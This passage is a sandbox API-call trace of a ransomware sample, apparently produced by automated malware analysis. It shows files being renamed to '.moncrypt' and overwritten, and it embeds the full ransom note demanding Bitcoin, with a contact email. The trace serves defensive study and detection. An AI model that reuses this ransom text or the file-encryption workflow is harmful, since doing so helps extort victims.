lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 73 [0052.006] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0052.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.006] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.006] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.006] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.moncrypt")) returned 1 [0052.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.007] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.007] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4c1d [0052.007] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.007] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.009] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.009] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.009] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.010] GlobalUnlock (hMem=0x440004) returned 0 [0052.010] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.010] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.010] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.010] GlobalUnlock (hMem=0x440004) returned 0 [0052.010] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.010] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.010] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.010] GlobalUnlock (hMem=0x44000c) returned 0 [0052.010] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.010] GlobalUnlock (hMem=0x440004) returned 0 [0052.010] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.010] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.010] GlobalUnlock (hMem=0x440004) returned 0 [0052.010] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.010] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.010] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.010] GlobalUnlock (hMem=0x440004) returned 0 [0052.010] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.010] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.010] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.010] SetFilePointer (in: hFile=0x18c, lDistanceToMove=19485, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4c1d [0052.010] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.011] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.011] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.026] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.029] CloseHandle (hObject=0x18c) returned 1 [0052.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.030] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.030] CloseHandle (hObject=0x18c) returned 1 [0052.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.031] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.031] GlobalUnlock (hMem=0x440004) returned 0 [0052.031] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.031] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.031] GlobalUnlock (hMem=0x440004) returned 0 [0052.031] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.031] GlobalUnlock (hMem=0x44000c) returned 0 [0052.031] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x403e07a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x403e07a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x403e07a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.031] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.031] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.031] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.032] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.032] CloseHandle (hObject=0x18c) returned 1 [0052.032] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.032] GetLastError () returned 0x12 [0052.032] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.032] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.032] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.032] GlobalUnlock (hMem=0x44000c) returned 0 [0052.033] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.033] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.033] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.033] GlobalUnlock (hMem=0x44000c) returned 0 [0052.033] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.033] GlobalUnlock (hMem=0x440004) returned 0 [0052.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x403e07a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x403e07a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.033] GlobalLock (hMem=0x440004) returned 0x550170 [0052.033] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.033] GlobalUnlock (hMem=0x440004) returned 0 [0052.033] GlobalLock (hMem=0x440004) returned 0x550170 [0052.033] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.033] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.033] GlobalUnlock (hMem=0x440004) returned 0 [0052.033] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.033] GlobalUnlock (hMem=0x44000c) returned 0 [0052.033] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.033] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x403e07a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x403e07a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.033] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.034] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.034] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.034] GlobalUnlock (hMem=0x44000c) returned 0 [0052.034] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.034] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.034] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.034] GlobalUnlock (hMem=0x44000c) returned 0 [0052.034] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.034] GlobalUnlock (hMem=0x440004) returned 0 [0052.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.034] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x403e07a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x403e07a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x403e07a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.034] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.034] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.034] GlobalUnlock (hMem=0x440004) returned 0 [0052.034] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.034] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.034] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.034] GlobalUnlock (hMem=0x440004) returned 0 [0052.034] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.034] GlobalUnlock (hMem=0x44000c) returned 0 [0052.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.034] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM.moncrypt", cAlternateFileName="IRISEL~1.MON")) returned 1 [0052.034] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.034] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.034] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.034] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.035] GlobalUnlock (hMem=0x44000c) returned 0 [0052.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.035] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.035] GlobalUnlock (hMem=0x44000c) returned 0 [0052.035] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.035] GlobalUnlock (hMem=0x440004) returned 0 [0052.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.035] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0052.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.035] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.035] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.035] GlobalUnlock (hMem=0x440004) returned 0 [0052.035] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.035] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.035] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.035] GlobalUnlock (hMem=0x440004) returned 0 [0052.035] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.035] GlobalUnlock (hMem=0x44000c) returned 0 [0052.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.035] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.035] GlobalUnlock (hMem=0x44000c) returned 0 [0052.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.035] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.036] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.036] GlobalUnlock (hMem=0x44000c) returned 0 [0052.036] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.036] GlobalUnlock (hMem=0x440004) returned 0 [0052.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 